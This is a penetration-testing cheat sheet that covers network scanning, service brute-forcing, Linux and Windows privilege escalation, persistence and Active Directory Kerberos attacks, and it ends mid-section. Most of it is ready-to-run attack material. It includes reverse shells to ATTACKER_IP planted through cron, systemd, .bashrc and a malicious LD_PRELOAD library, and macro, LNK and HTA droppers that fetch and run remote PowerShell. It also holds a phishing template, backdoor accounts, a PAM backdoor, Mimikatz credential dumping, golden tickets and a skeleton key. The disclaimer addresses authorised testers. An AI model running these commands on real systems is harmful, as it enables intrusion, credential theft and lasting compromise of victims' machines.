VAPT Notes#
Disclaimer: This cheat sheet has been compiled from multiple sources with the objective of aiding fellow pentesters and red teamers in their learning. The credit for all the tools and techniques belongs to their original authors. Use responsibly and only on systems you own or have explicit permission to test.
Environment Setup#
# Essential Variables - Set these at the beginning of your engagement
export TARGET_IP="10.10.10.100" # Primary target IP
export TARGET_NETWORK="10.10.10.0/24" # Target network CIDR
export DC_IP="10.10.10.1" # Domain Controller IP
export LOCAL_ATTACKER_IP="10.10.14.5" # Your attacking machine IP
export LOCAL_ATTACKER_PORT="443" # Your listener port
export DOMAIN="corp.local" # Target domain name
Network Reconnaissance & Enumeration#
Host Discovery#
Basic Network Scanning#
# ICMP ping (OS hint via TTL: Linux=64, Windows=128, Cisco=255)
ping -c 1 $TARGET_IP
# ICMP ping sweep
sudo nmap -sn $TARGET_NETWORK
# TCP SYN discovery (bypass ICMP filters)
sudo nmap -sn -PS21,22,25,53,80,135,139,443,445,3389,5985,5986 $TARGET_NETWORK
# Save discovered hosts
sudo nmap -sn $TARGET_NETWORK -oG - | awk '/Up$/{print $2}' > live_hosts.txt
# ARP scan (local segment)
sudo arp-scan --interface=tun0 $TARGET_NETWORK
nmap -sn -PR $TARGET_NETWORK
Faster Alternatives#
# Masscan (very fast; needs root)
sudo masscan $TARGET_NETWORK -p1-65535 --rate 10000 -oG masscan_results.txt
# Feed Masscan results into nmap for service detection
awk '/open/{print $4}' masscan_results.txt > targets.txt
sudo nmap -sV -iL targets.txt
Advanced / Stealth Techniques#
# Multiple discovery probes (ICMP, TCP, UDP, ARP)
sudo nmap -sn -PE -PP -PM -PS80,443 -PU53,161 -PR $TARGET_NETWORK
# Scan from list
sudo nmap -sn -iL hosts.txt -oA host_discovery
# Firewall bypass with source port tricks
sudo nmap -sn --source-port 53 $TARGET_NETWORK
sudo nmap -sn --source-port 80 $TARGET_NETWORK
# Idle scan (zombie host required)
sudo nmap -sI <zombie_host> $TARGET_IP
Port Scanning & Service Detection#
TCP Scanning#
# Fast top 1000 ports
sudo nmap -sS -T4 --top-ports 1000 $TARGET_IP
# Full TCP scan (all ports)
sudo nmap -sS -p- --min-rate 2000 -T4 $TARGET_IP -oN tcp_full.txt
# Faster full scan (RustScan → Nmap)
rustscan -a $TARGET_IP --ulimit 5000 -- -sV -sC -oN rustscan_nmap.txt
# Service detection
sudo nmap -sV -sC -p <open_ports> $TARGET_IP -oN tcp_services.txt
# Aggressive (OS, traceroute, scripts)
sudo nmap -A -p <ports> $TARGET_IP -oN tcp_aggressive.txt
UDP Scanning#
# Top 100 UDP ports
sudo nmap -sU --top-ports 100 --min-rate 1000 $TARGET_IP
# Common UDP services
sudo nmap -sU -p 53,69,123,135,137,161,445,500,1434,1900,5353 $TARGET_IP
# Version detection
sudo nmap -sU -sV -p <udp_ports> $TARGET_IP
Firewall Evasion Techniques#
# Source port tricks
sudo nmap -sS --source-port 53 $TARGET_IP
sudo nmap -sS --source-port 20 $TARGET_IP # FTP data port
# Fragmentation / MTU
sudo nmap -sS -f $TARGET_IP
sudo nmap -sS --mtu 24 $TARGET_IP
# Timing manipulation
sudo nmap -sS -T1 $TARGET_IP # Paranoid
sudo nmap -sS --scan-delay 5s $TARGET_IP # Custom delay
Service-Specific Enumeration#
FTP (Port 21)#
# Banner grabbing
nc -nv $TARGET_IP 21
# Anonymous login
ftp $TARGET_IP
# Username: anonymous | Password: anonymous
# Automated anonymous check
echo "user anonymous anonymous
ls
bye" | ftp -n $TARGET_IP
# Nmap scripts
sudo nmap -sV -p 21 --script=ftp-* $TARGET_IP
# Brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET_IP ftp -t 4 -f
# Bounce attack
sudo nmap -p 21 --script ftp-bounce $TARGET_IP
# Recursive download
wget -r ftp://username:password@$TARGET_IP/
SSH (Port 22)#
# SSH banner + algorithms
ssh-audit $TARGET_IP
sudo nmap -sV -p 22 $TARGET_IP
# Public key auth check
ssh -o PreferredAuthentications=publickey $TARGET_IP
# Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://$TARGET_IP -t 4
# User enumeration (CVE-2018-15473)
python3 ssh_user_enum.py --threads 5 --outputFile ssh_users.txt $TARGET_IP
# Private key auth
chmod 600 id_rsa
ssh -i id_rsa user@$TARGET_IP
# Tunneling
ssh -L 8080:127.0.0.1:80 user@$TARGET_IP # Local port forward
ssh -D 1080 user@$TARGET_IP # Dynamic SOCKS proxy
# Cracking private keys
ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Telnet (Port 23)#
# Connect
telnet $TARGET_IP 23
nc -nv $TARGET_IP 23
# Banner grabbing
echo "" | nc -nv $TARGET_IP 23
# Brute force
hydra -l admin -P passwords.txt telnet://$TARGET_IP
# Nmap scripts
sudo nmap -p 23 --script telnet-* $TARGET_IP
SMTP (Port 25)#
# Banner + commands
nc -nv $TARGET_IP 25
# EHLO test.com, HELP, VRFY root, EXPN root
# User enumeration via SMTP
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $TARGET_IP
smtp-user-enum -M EXPN -U users.txt -t $TARGET_IP
smtp-user-enum -M RCPT -U users.txt -t $TARGET_IP
# SMTP relay testing
swaks --to test@example.com --from evil@attacker.com --server $TARGET_IP
# Nmap SMTP scripts
sudo nmap -p 25 --script smtp-* $TARGET_IP
# Send phishing email (if relay is open)
swaks --header "Subject: Urgent Security Update" \
--body "Please click the link to update your credentials: http://evil.com" \
--to victim@company.com \
--from admin@company.com \
--server $TARGET_IP
DNS (Port 53)#
# Server version
dig @$TARGET_IP version.bind chaos txt
# Zone transfer attempts
dig AXFR @$TARGET_IP domain.com
host -l domain.com $TARGET_IP
dnsrecon -d domain.com -a -t axfr
# Subdomain brute force
gobuster dns -d domain.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
amass enum -d domain.com
HTTP/HTTPS (Ports 80, 443, 8080, 8443)#
# Fingerprinting
whatweb -a 3 http://$TARGET_IP
wafw00f http://$TARGET_IP
curl -I http://$TARGET_IP
# Directory brute force
gobuster dir -u http://$TARGET_IP -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html,php,txt,asp,aspx,jsp,js,bak,old,zip -b 404,403 -t 50
feroxbuster -u http://$TARGET_IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,asp,aspx,jsp,js,bak,old,zip -t 30 -C 404,403 --auto-tune
# Parameter fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://$TARGET_IP/page.php?FUZZ=test" -fs 1234
# VHost discovery
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET_IP -H "Host: FUZZ.domain.com" -ac
# Vulnerability scanning
nikto -h http://$TARGET_IP -C all
nuclei -u http://$TARGET_IP -t cves/
SMB/NetBIOS (Ports 135, 139, 445)#
# Enumeration
smbclient -L //$TARGET_IP -N
smbclient -L //$TARGET_IP -U guest%
# NetExec
nxc smb $TARGET_IP -u '' -p '' --shares
nxc smb $TARGET_IP -u guest -p "" --shares
nxc smb $TARGET_IP -u guest -p "" --users
nxc smb $TARGET_IP -u guest -p "" --groups
# SMB vuln check
sudo nmap -p 445 --script smb-vuln-* $TARGET_IP
# SMB access
smbclient //$TARGET_IP/SHARENAME -U username%password
sudo mount -t cifs //$TARGET_IP/SHARENAME /mnt/smb -o username=user,password=pass
# Brute force
hydra -l administrator -P passwords.txt smb://$TARGET_IP
SNMP (Port 161 UDP)#
# Version detection
sudo nmap -sU -p 161 --script snmp-info $TARGET_IP
# Community brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt $TARGET_IP
# Walk
snmpwalk -v1 -c public $TARGET_IP
snmpwalk -v2c -c public $TARGET_IP
LDAP (Ports 389, 636, 3268, 3269)#
# Anonymous query
ldapsearch -x -h $TARGET_IP -s base namingcontexts
# With creds
ldapsearch -x -h $TARGET_IP -D "CN=user,DC=domain,DC=com" -w password -b "DC=domain,DC=com"
# Extract users/groups
ldapsearch -x -h $TARGET_IP -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName
ldapsearch -x -h $TARGET_IP -b "DC=domain,DC=com" "(objectClass=group)" cn
# NetExec LDAP
nxc ldap $TARGET_IP -u user -p pass --users
nxc ldap $TARGET_IP -u user -p pass --groups
nxc ldap $TARGET_IP -u user -p pass --computers
MSSQL (Port 1433)#
# Info
sudo nmap -p 1433 --script ms-sql-info $TARGET_IP
# Brute force
hydra -l sa -P passwords.txt mssql://$TARGET_IP
# NetExec
nxc mssql $TARGET_IP -u user -p pass -d domain
nxc mssql $TARGET_IP -u user -p pass -x "whoami"
MySQL (Port 3306)#
# Enumeration
sudo nmap -p 3306 --script mysql-* $TARGET_IP
# Connect
mysql -h $TARGET_IP -u root -p
# Brute force
hydra -l root -P passwords.txt mysql://$TARGET_IP
NFS (Port 2049)#
# Show exports
showmount -e $TARGET_IP
# Mount share
sudo mkdir /mnt/nfs
sudo mount -t nfs $TARGET_IP:/exported/path /mnt/nfs -o nolock
RDP (Port 3389)#
# Enumeration
sudo nmap -p 3389 --script rdp-* $TARGET_IP
# Connect
xfreerdp /v:$TARGET_IP /u:username /p:password /clipboard /dynamic-resolution
# Brute force
hydra -l administrator -P passwords.txt rdp://$TARGET_IP
WinRM (Ports 5985, 5986)#
# Enumeration
sudo nmap -p 5985,5986 --script winrm-* $TARGET_IP
# NetExec WinRM
nxc winrm $TARGET_IP -u user -p pass -x "whoami"
nxc winrm $TARGET_IP -u username -H ntlm_hash # Pass-the-hash
Linux Exploitation & Privilege Escalation#
Initial Access & Shell Upgrade#
# Spawn interactive TTY shell after initial access
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background shell
Ctrl+Z
stty raw -echo; fg
# Press Enter twice
export TERM=xterm-256color
export SHELL=bash
# Alternatives
script /dev/null -c bash
/bin/bash -i
echo $0 # Check current shell
Linux Enumeration#
Basic System Information#
uname -a # Kernel + system
cat /etc/os-release # Distro
cat /etc/issue # OS info banner
cat /proc/version # Kernel version
lscpu # CPU architecture
hostname # Hostname
uptime # System uptime/load
Users & Privileges#
id
whoami
groups
cat /etc/passwd
cat /etc/group
last # Last logged-in users
w # Currently logged-in users
Network Enumeration#
ip a # Interfaces
ip route # Routes
cat /etc/resolv.conf # DNS config
arp -a # ARP table
ss -tulnp # Listening ports
ss -antp # Active TCP connections
Process and Service Enumeration#
ps aux # All processes
ps -ef # Tree format
top / htop # Real-time monitor
ps -u root # Processes by root
systemctl list-units --type=service --state=running
service --status-all
chkconfig --list # (older SysV systems)
Privilege Escalation Enumeration#
Automated Enumeration Scripts#
# LinPEAS (most common)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh && ./LinEnum.sh -t
# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh
# pspy (process monitor without root)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64 && ./pspy64
Manual Privilege Escalation Checks#
# Sudo privileges
sudo -l
# SUID/SGID binaries
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
# Writable files/dirs
find / -writable -type d 2>/dev/null
find / -perm -222 -type f 2>/dev/null
# Interesting files
find / -name "*.conf" -o -name "*.bak" -o -name "*password*" 2>/dev/null | grep -v proc
# Cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
# Environment
env
echo $PATH
cat /etc/environment
# Kernel modules
lsmod
cat /proc/modules
modinfo <module>
Credential Hunting#
# History files
cat ~/.bash_history
find /home -name ".*_history" 2>/dev/null
# Configs
grep -r "password" /etc/ 2>/dev/null
find /var/www -name "*.php" -o -name "*.conf" 2>/dev/null
# SSH keys
find / -name "id_rsa" -o -name "*.pem" 2>/dev/null
cat ~/.ssh/authorized_keys
# DB files
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sql" 2>/dev/null
# Logs
find /var/log -type f -exec grep -i "password\|login" {} \; 2>/dev/null
Common Privilege Escalation Techniques#
SUID Binary Exploitation#
# Always check GTFOBins
https://gtfobins.github.io/
# Common SUID escapes
find . -exec /bin/bash \; -quit
nmap --interactive
less /etc/passwd ; !/bin/bash
awk 'BEGIN {system("/bin/bash")}'
python -c 'import os; os.system("/bin/bash")'
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# Debug custom binaries
strings /path/to/suid_binary
ltrace /path/to/suid_binary
strace /path/to/suid_binary
Sudo Exploitation#
sudo -l # Always start here
sudo --version # Check for Baron Samedit CVE-2021-3156
# Exploit misconfigs
sudo vim -c ':!/bin/bash' # If vim is allowed
sudo PATH=/tmp:$PATH ls # If PATH not restricted
# LD_PRELOAD trick
echo 'int main(){setuid(0); system("/bin/bash");}' > /tmp/pe.c
gcc -shared -fPIC -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so <allowed_command>
Kernel Exploitation#
uname -r
uname -m
# Use Linux Exploit Suggester
./linux-exploit-suggester.sh -k $(uname -r)
# DirtyCow (CVE-2016-5195)
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty <new_password>
Cron Job Exploitation#
# Writable cron jobs
find /etc/cron* -perm -o+w 2>/dev/null
# PATH hijacking
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /tmp/script
chmod +x /tmp/script
# Wildcard abuse in tar
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
File Permission Exploitation#
# Writable passwd
openssl passwd -1 -salt salt password
echo 'newroot:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Writable systemd services
find /etc/systemd/system -writable 2>/dev/null
Linux Persistence#
SSH Key Persistence#
# Attacker machine
ssh-keygen -t ed25519 -N "" -f ~/.ssh/id_ed25519 -C "attacker@kali"
cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAA... attacker@kali
# Victim machine
mkdir -p ~/.ssh
echo 'ssh-rsa AAAAB3... attacker@kali' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
SSH AuthorizedKeys Injection (across users)#
for u in $(cut -d: -f1 /etc/passwd); do
mkdir -p /home/$u/.ssh
echo 'ssh-rsa AAAAB3... attacker@kali' >> /home/$u/.ssh/authorized_keys
chmod 600 /home/$u/.ssh/authorized_keys
done
Cron Job Persistence#
(crontab -l ; echo "*/5 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") | crontab -
Service Persistence#
cat > /etc/systemd/system/dbus-update.service << EOF
[Unit]
Description=DBus Policy Update
After=network.target
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
User=root
[Install]
WantedBy=multi-user.target
EOF
systemctl enable dbus-update.service
systemctl start dbus-update.service
User Persistence#
useradd -m -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd
usermod -aG sudo backdoor
SUID Backdoor#
cp /bin/bash /tmp/.hidden_bash
chmod +s /tmp/.hidden_bash
/tmp/.hidden_bash -p
PAM Backdoor#
# Modify PAM to accept backdoor password
echo 'auth sufficient pam_unix.so try_first_pass nullok' >> /etc/pam.d/sshd
# Add a hidden check
# Example: modify pam_unix.so to accept "SuperSecret!" as valid for any user
LD_PRELOAD Hijack#
# Malicious shared object that spawns root shell
cat > /usr/local/lib/libevil.so <<EOF
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init() {
setuid(0); setgid(0);
system("/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1");
}
EOF
gcc -fPIC -shared -o /usr/local/lib/libevil.so libevil.c -nostartfiles
echo "/usr/local/lib/libevil.so" >> /etc/ld.so.preload
Library Hijacking (legit service abuse)#
# Find writable library paths
find /usr/lib /lib -writable -type d 2>/dev/null
# Replace or insert malicious .so file
cp libevil.so /usr/lib/x86_64-linux-gnu/libaudit.so
Shell Hijack (profile injection)#
# Modify target user's shell profile
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrc
Windows Exploitation & Privilege Escalation#
Initial Access#
Phishing Techniques#
VBA Payloads#
' VBA Macro (auto-execution)
Sub AutoOpen()
ExecutePayload
End Sub
Sub Document_Open()
ExecutePayload
End Sub
Sub ExecutePayload()
Dim str As String
str = "powershell -nop -w hidden -c ""IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"""
Shell str, vbHide
End Sub
' VBA Macro with error handling
Sub AutoOpen()
On Error Resume Next
Dim obj As Object
Set obj = CreateObject("WScript.Shell")
obj.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command ""IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/stage1.ps1')""", 0, False
End Sub
# Email delivery (with swaks)
swaks --to victim@company.com \
--from admin@company.com \
--header "Subject: Urgent: Security Update Required" \
--body "Please review the attached document immediately." \
--attach malicious.docm \
--server mail.company.com
# Generate malicious Office macro payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f vba
LNK Payloads#
Target: powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c "IEX(IWR 'http://ATTACKER_IP/stager.ps1')"
Icon: %SystemRoot%\system32\shell32.dll
HTA Application Abuse#
<html>
<head><script>
var sh=new ActiveXObject("WScript.Shell");
sh.Run("powershell -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/stager.ps1')");
</script></head>
</html>
HTML Smuggling + Sliver Stager#
<script>
var file = "TVqQAAMAAAAEAAAA..."; // base64 payload
var blob = new Blob([atob(file)], {type: 'application/octet-stream'});
var link = document.createElement("a");
link.href = URL.createObjectURL(blob);
link.download = "Invoice.iso";
link.click();
</script>
PowerShell Payloads#
# Reverse shell (raw)
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
# Encoded command
$command = "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encodedCommand
# Fileless execution
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"
# WMI execution
wmic process call create "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"
# Certutil download + execute (commonly flagged)
certutil -urlcache -f http://ATTACKER_IP/payload.exe C:\Windows\Temp\payload.exe
C:\Windows\Temp\payload.exe
# MSHTA execution
mshta http://ATTACKER_IP/shell.hta
Windows Enumeration#
Basic System Information#
systeminfo
Get-ComputerInfo
hostname
whoami /all
whoami /priv
whoami /groups
Get-HotFix | Sort-Object InstalledOn
wmic qfe list brief
Get-WindowsFeature | ? {$_.InstallState -eq "Installed"}
Get-ChildItem Env:
$env:PATH
User & Group#
net users
net localgroup administrators
Get-LocalUser
Get-LocalGroupMember Administrators
# Domain
net users /domain
net group "Domain Admins" /domain
nltest /dclist:domain.com
Network & Firewall#
ipconfig /all
route print
arp -a
netstat -ano
net share
Get-SmbShare
netsh advfirewall show allprofiles
Get-NetFirewallProfile
Processes, Services & Tasks#
Get-Process
tasklist /svc
Get-Service
Get-CimInstance Win32_StartupCommand
schtasks /query /fo LIST /v
Get-ScheduledTask
Windows Privilege Escalation#
Automated Enumeration#
# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.ps1')
# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks
# Sherlock
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns
# Exploit suggester (offline)
python windows-exploit-suggester.py --database mssb.xls --systeminfo sysinfo.txt
Manual Privilege Escalation Checks#
whoami /priv
# Look for SeImpersonate, SeAssignPrimaryToken, SeDebug, SeBackup
# Services (unquoted paths, weak permissions)
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
# Service binary perms
icacls "C:\Path\To\Service.exe"
# Registry perms
accesschk.exe -uvwqk HKLM\System\CurrentControlSet\Services
Common Privilege Escalation Techniques#
Potato Attacks (SeImpersonatePrivilege)#
# JuicyPotato (Server 2008-2016)
.\jp.exe -l 1337 -p c:\windows\temp\rev.exe -a "ATTACKER_IP 4445 -e cmd" -t *
# PrintSpoofer (Win10/2019+)
.\ps.exe -i -c cmd
# RoguePotato
.\rp.exe -r ATTACKER_IP -e "cmd.exe" -l 9999
# GodPotato (latest versions)
.\gp.exe -cmd "cmd /c whoami"
Service Exploitation#
# List all services and their configs
sc queryex type= service state= all
wmic service get name,displayname,pathname,startmode
# Look for unquoted paths
wmic service get name,displayname,pathname | findstr /i " "
sc qc <service_name>
# Check permissions on a service binary
icacls "C:\Path\to\service.exe"
# Replace service binary
copy payload.exe "C:\VulnService\service.exe"
sc stop VulnService
sc start VulnService
Registry Exploitation#
# Find writable service registry keys
reg query HKLM\SYSTEM\CurrentControlSet\Services /s
# Check access
accesschk64.exe -kv "HKLM\SYSTEM\CurrentControlSet\Services\<Service>"
# Change ImagePath to attacker binary
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\rev.exe" /f
sc start VulnService
# Check registry keys for AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Build malicious MSI with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > exploit.msi
# Install with SYSTEM privileges
msiexec /quiet /qn /i exploit.msi
DLL Hijacking#
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll > evil.dll
copy evil.dll "C:\Program Files\Vulnerable App\missing.dll"
sc stop VulnService
sc start VulnService
Weak File Permissions#
# Search for writable executables
icacls "C:\Program Files\" /grant Everyone:F /t /c
# Replace binary
copy /Y rev.exe "C:\Program Files\VulnApp\app.exe"
Scheduled Tasks#
schtasks /query /fo LIST /v
# If writable task points to vuln.exe
copy /Y rev.exe "C:\Vuln\task.exe"
schtasks /run /tn "VulnTask"
Windows Credential Harvesting#
LSASS & Mimikatz#
# Dump creds with Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Dump LSASS memory
procdump.exe -ma lsass.exe lsass.dmp
.\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
Remote Credential Extraction#
impacket-secretsdump domain/user:pass@TARGET_IP
nxc smb TARGET_IP -u user -p pass --sam
nxc smb TARGET_IP -u user -p pass --lsa
nxc smb TARGET_IP -u user -p pass --ntds
File & Registry Credential Hunting#
# Files
findstr /si password *.txt *.xml *.config *.ini
# Browser creds
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
%APPDATA%\Mozilla\Firefox\Profiles\
# RDP creds
reg query "HKCU\Software\Microsoft\Terminal Server Client\Default"
# PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Dumping Registry Hives#
whoami /groups | findstr "Administrators"
whoami /priv | findstr SeBackupPrivilege
# Dump registry hives (requires admin)
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
# Use Volume Shadow Copy to extract hives if locked
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY .
# On Kali/attacker box
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
nxc smb <target> -u Administrator -H <NTLM_HASH>
Windows Persistence#
Registry#
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\temp\payload.exe" /f
Services#
sc create "WindowsUpdate" binpath= "C:\temp\payload.exe" start= auto
sc start "WindowsUpdate"
Scheduled Task#
schtasks /create /tn "SystemMaintenance" /tr "C:\temp\payload.exe" /sc onlogon /ru SYSTEM
# Modify existing service to execute payload
sc config "wuauserv" binpath= "C:\Windows\System32\svchost.exe -k netsvcs -s payloadsvc"
sc start wuauserv
WMI#
# Create event filter (trigger)
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$Filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name="SysUpdate"; Query=$Query; QueryLanguage="WQL"; EventNamespace="root\cimv2"}
# Create consumer (payload)
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name="SysConsumer"; CommandLineTemplate="powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"}
# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$Filter; Consumer=$Consumer}
User Account Persistence#
# Create backdoor user
net user backdoor Password123! /add
net localgroup administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add
# Hide user from login screen
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "backdoor" /t REG_DWORD /d 0 /f
# Enable built-in accounts
net user administrator /active:yes
net user guest /active:yes
# Modify existing user
net user existing_user NewPassword123!
Golden / Silver Tickets#
# With Mimikatz on domain controller dump:
sekurlsa::krbtgt
# Create Golden Ticket
kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-... /krbtgt:<NTLM_HASH> /id:500 /ticket:golden.kirbi
# Inject ticket into session
kerberos::ptt golden.kirbi
# Domain-level persistence. Survives password changes until KRBTGT reset.
SID History Injection#
# With Mimikatz
sid::add /user:backdoor /domain:corp.local /sid:S-1-5-21-<DomainAdminSID>
# Adds hidden Domain Admin rights by modifying SID history of an account. Harder to detect than Golden Tickets.
Skeleton Key Attack#
# Mimikatz skeleton key (requires DC access)
misc::skeleton
# Injects a universal master password into LSASS. All accounts can log in with normal password OR the skeleton key. Very stealthy, but volatile (cleared on reboot).
LSA Authentication Packages (Auth Persistence)#
# Modify registry to load malicious SSP (e.g., mimilib.dll)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0mimilib" /f
# Persists across reboots, loaded into LSASS.
COM Hijacking#
# Hijack COM object to load malicious DLL
reg add "HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32" /ve /t REG_SZ /d "C:\malicious.dll" /f
Active Directory Exploitation#
Authenticating to Active Directory#
Windows#
# View tickets
klist
# Find Domain Controller
nltest /dsgetdc:asia.earth.local
# Access shares (auto-requests ST)
net view DC02.asia.earth.local
# Request TGT (plaintext password)
Rubeus.exe asktgt /user:USER /password:PASSWORD /domain:asia.earth.local /ptt
# Request TGT with NTLM hash (Overpass-the-Hash)
Rubeus.exe asktgt /user:USER /rc4:NTLM_HASH /domain:asia.earth.local /ptt
# Dump current Kerberos tickets
Rubeus.exe klist
# Import TGT into current session
Rubeus.exe ptt /ticket:<ticket.kirbi>
Linux#
# NetExec with Kerberos
nxc smb TARGET -u USER -p PASS --kerberos
# Fix common errors
# Add KDC/DC to /etc/hosts
10.12.10.20 asia.earth.local
10.12.10.70 PT01.asia.earth.local
# Sync time with KDC
sudo ntpdate asia.earth.local
# Configure Kerberos
cat > krb5.conf <<EOF
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = ASIA.EARTH.LOCAL
[realms]
ASIA.EARTH.LOCAL = {
kdc = dc02.asia.earth.local
admin_server = dc02.asia.earth.local
default_domain = asia.earth.local
}
[domain_realm]
.asia.earth.local = ASIA.EARTH.LOCAL
asia.earth.local = ASIA.EARTH.LOCAL
EOF
export KRB5_CONFIG=$(pwd)/krb5.conf
kinit USER@ASIA.EARTH.LOCAL
klist
# Pass-the-Cache
export KRB5CCNAME=/tmp/krb5cc_$(id -u)
nxc smb PT01.asia.earth.local --use-kcache
# Acquire a service ticket explicitly (ensures TGS issuance works)
kvno cifs/PT01.asia.earth.local
# Overpass-the-Hash (oPTH)
# With plaintext password
getTGT.py 'asia.earth.local/USER:PASSWORD'
# With NT hash
getTGT.py 'asia.earth.local/USER' -hashes :<NT_HASH>
# Use generated cache
